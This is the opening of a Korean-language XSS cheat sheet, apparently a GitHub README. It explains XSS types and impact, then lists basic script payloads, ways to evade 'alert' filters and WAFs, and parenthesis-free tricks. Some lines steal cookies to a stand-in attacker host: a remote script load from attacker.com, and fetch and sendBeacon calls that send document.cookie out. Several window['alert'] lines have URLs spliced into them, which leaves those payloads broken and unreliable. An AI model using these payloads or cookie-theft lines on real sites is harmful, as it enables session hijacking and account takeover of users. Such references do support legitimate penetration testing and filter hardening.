
반사형, 저장형, DOM 및 블라인드 페이로드, 필터 우회, WAF 회피, CSP 우회, mXSS, 그리고 실제 CVE 사례 연구를 다루는 포괄적인 XSS 레퍼런스입니다.
GitHub에서 가장 포괄적인 XSS 레퍼런스.
Reflected · Stored · DOM · Blind XSS — 페이로드, 필터 우회, WAF 회피, CSP 우회, mXSS, 프로토타입 오염 체인, 그리고 실제 사례 CVE. 2026년 기준으로 업데이트됨.
페이로드 · 필터 우회 · WAF 회피 · DOM XSS · CSP 우회 · Blind XSS · 고급 기법 · 도구
크로스 사이트 스크립팅(XSS)은 공격자가 신뢰할 수 있는 웹 애플리케이션이 제공하는 콘텐츠에 악성 스크립트를 주입하는 클라이언트 측 코드 인젝션 공격입니다. 피해자의 브라우저가 페이지를 렌더링할 때, 주입된 스크립트는 해당 오리진의 정당한 스크립트와 동일한 권한으로 실행됩니다.
XSS는 영향이 심각하고 공격 표면이 방대하기 때문에 꾸준히 OWASP Top 10에 포함됩니다:
| 영향 | 설명 |
|---|---|
| 세션 하이재킹 | document.cookie를 탈취하여 인증된 세션을 장악 |
| 계정 탈취 | 피해자의 세션을 이용한 위조 요청으로 이메일/비밀번호 변경 |
| 키로깅 | 비밀번호, 신용카드 번호를 포함한 모든 키 입력 캡처 |
| 피싱 | 자격 증명을 공격자에게 제출하는 가짜 로그인 양식 주입 |
| 변조 | 허위 정보를 유포하거나 대상을 난처하게 만들기 위해 페이지 콘텐츠 수정 |
| 악성코드 배포 | 피해자를 익스플로잇 킷으로 리다이렉트 |
| 크립토 마이닝 | 피해자 브라우저에서 크립토마이너 실행 |
| SSRF / 내부 포트 스캔 | 피해자의 브라우저를 이용해 내부 네트워크 탐색 |
| 자격 증명 수집 | DOM에서 자동 완성된 자격 증명 읽기 |
| 스크린샷 / 웹캠 | getDisplayMedia()를 통한 화면 캡처, getUserMedia()를 통한 웹캠 캡처 |
XSS는 동일 출처 정책(SOP)을 무력화합니다. 악성 스크립트가 대상 출처로부터 제공되기 때문에 브라우저는 이를 신뢰된 것으로 취급합니다. 즉, XSS는 공격자에게 다음을 부여합니다:
HttpOnly로 보호되지 않은 모든 쿠키에 대한 접근localStorage 및 sessionStorage에 대한 접근Cross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| 유형 | 지속성 | 공격 대상 | 서버가 페이로드를 보는가? |
|---|---|---|---|
| 반사형(Reflected) | 아니요 | 표적 피해자 | 예 |
| 저장형(Stored) | 예 | 모든 방문자 | 예 |
| DOM | 아니요 | 표적 피해자 | 대개 아니요 |
| 블라인드(Blind) | 예 (원격) | 관리자 / 백엔드 사용자 | 예 (주입 지점에서) |
모든 보안 연구자가 아는 기초 페이로드입니다. 필터링이 존재하지 않는 곳에서 작동합니다.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert가 차단된 경우)많은 최신 애플리케이션과 WAF는 alert라는 단어를 차단합니다. 다음 대안을 사용하세요:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
// print() — opens print dialog (noisy but visible)
<script>print()</script>
// debugger — pauses DevTools if open
<script>debugger</script>
// throw — visible in console as uncaught error
<script>throw 1</script>
// Using window object
<script>window['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using top
<script>top['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Constructing alert string to evade static analysis
<script>window['\x61\x6c\x65\x72\x74'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using eval
<script>eval('ale'+'rt(1)')</script>
// Function constructor
<script>Function('alert(1)')()</script>
// setTimeout / setInterval
<script>setTimeout(alert,0,1)</script>
<script>setInterval(alert,9999,1)</script>
// Using fetch to exfiltrate (when alert is blocked entirely)
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
// navigator.sendBeacon — harder to block, works on page unload
<script>navigator.sendBeacon('https://attacker.com/',document.cookie)</script>
괄호는 때때로 필터링됩니다. 다음 기법들은 괄호 없이 코드를 실행합니다:
// Template literal as argument (backtick replaces parentheses)
<script>alert`1`</script>
<script>alert`${document.cookie}`</script>
// onerror with template literal
// throw with alert as onerror
<script>window.onerror=alert;throw 1</script>